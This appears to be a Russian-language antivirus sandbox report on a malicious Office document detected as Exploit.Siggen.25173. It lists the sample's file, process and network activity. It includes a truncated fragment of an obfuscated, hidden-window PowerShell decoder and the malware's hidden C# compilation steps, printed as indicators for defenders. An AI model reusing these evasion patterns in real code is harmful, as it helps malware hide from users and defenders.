Exploit.Siggen.25173

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function de91a1 { param($lc8af2) $wc7e19f = 'vf562';$p3378be = ''; for ($i = 0; $i -lt $lc8af2.length; $i+=2) { $c4fd8 = [convert]::ToByte($lc8af2.Substring($i, 2), 16...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\yjs1uoa1.0.cs
%TEMP%\res8705.tmp
%TEMP%\csc86f5.tmp
%TEMP%\package.json
%TEMP%\7lqk0_vl.out
%TEMP%\7lqk0_vl.cmdline
%TEMP%\7lqk0_vl.0.cs
%TEMP%\i0rbz7ka.dll
%TEMP%\res739c.tmp
%TEMP%\csc738c.tmp
%TEMP%\i0rbz7ka.out
%TEMP%\i0rbz7ka.cmdline
%TEMP%\i0rbz7ka.0.cs
%TEMP%\xb_zs2ya.dll
%TEMP%\res595e.tmp
%TEMP%\csc594d.tmp
%TEMP%\xb_zs2ya.out
%TEMP%\xb_zs2ya.cmdline
%TEMP%\xb_zs2ya.0.cs
%TEMP%\ljgshi01.dll
%TEMP%\yjs1uoa1.dll
%TEMP%\res4fd8.tmp
%TEMP%\res4ff7.tmp
%TEMP%\csc4ff6.tmp
%TEMP%\csc4fc8.tmp
%TEMP%\ljgshi01.out
%TEMP%\ljgshi01.cmdline
%TEMP%\ljgshi01.0.cs
%TEMP%\yjs1uoa1.out
%TEMP%\yjs1uoa1.cmdline
%TEMP%\7lqk0_vl.dll
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.word\~wrf{250e4ed7-223a-4487-aacb-8ad120dfdf07}.tmp

Удаляет следующие файлы

%TEMP%\res4fd8.tmp
%TEMP%\res739c.tmp
%TEMP%\csc738c.tmp
%TEMP%\i0rbz7ka.dll
%TEMP%\i0rbz7ka.cmdline
%TEMP%\i0rbz7ka.pdb
%TEMP%\xb_zs2ya.out
%TEMP%\xb_zs2ya.0.cs
%TEMP%\i0rbz7ka.out
%TEMP%\csc86f5.tmp
%TEMP%\7lqk0_vl.pdb
%TEMP%\7lqk0_vl.dll
%TEMP%\7lqk0_vl.cmdline
%TEMP%\7lqk0_vl.0.cs
%TEMP%\i0rbz7ka.0.cs
%TEMP%\res8705.tmp
%TEMP%\xb_zs2ya.cmdline
%TEMP%\xb_zs2ya.pdb
%TEMP%\xb_zs2ya.dll
%TEMP%\yjs1uoa1.0.cs
%TEMP%\yjs1uoa1.cmdline
%TEMP%\yjs1uoa1.dll
%TEMP%\yjs1uoa1.out
%TEMP%\yjs1uoa1.pdb
%TEMP%\res4ff7.tmp
%TEMP%\csc4fc8.tmp
%TEMP%\csc4ff6.tmp
%TEMP%\ljgshi01.dll
%TEMP%\ljgshi01.out
%TEMP%\ljgshi01.cmdline
%TEMP%\ljgshi01.0.cs
%TEMP%\res595e.tmp
%TEMP%\csc594d.tmp
%TEMP%\ljgshi01.pdb
%TEMP%\7lqk0_vl.out
%TEMP%\package.json

Сетевая активность

UDP

DNS ASK hi####security.com

Другое

Создает и запускает на исполнение

'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yjs1uoa1.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ljgshi01.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FD8.tmp" "%TEMP%\CSC4FC8.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FF7.tmp" "%TEMP%\CSC4FF6.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xb_zs2ya.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES595E.tmp" "%TEMP%\CSC594D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0rbz7ka.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES739C.tmp" "%TEMP%\CSC738C.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7lqk0_vl.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8705.tmp" "%TEMP%\CSC86F5.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yjs1uoa1.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ljgshi01.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FD8.tmp" "%TEMP%\CSC4FC8.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FF7.tmp" "%TEMP%\CSC4FF6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xb_zs2ya.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES595E.tmp" "%TEMP%\CSC594D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0rbz7ka.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES739C.tmp" "%TEMP%\CSC738C.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7lqk0_vl.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8705.tmp" "%TEMP%\CSC86F5.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding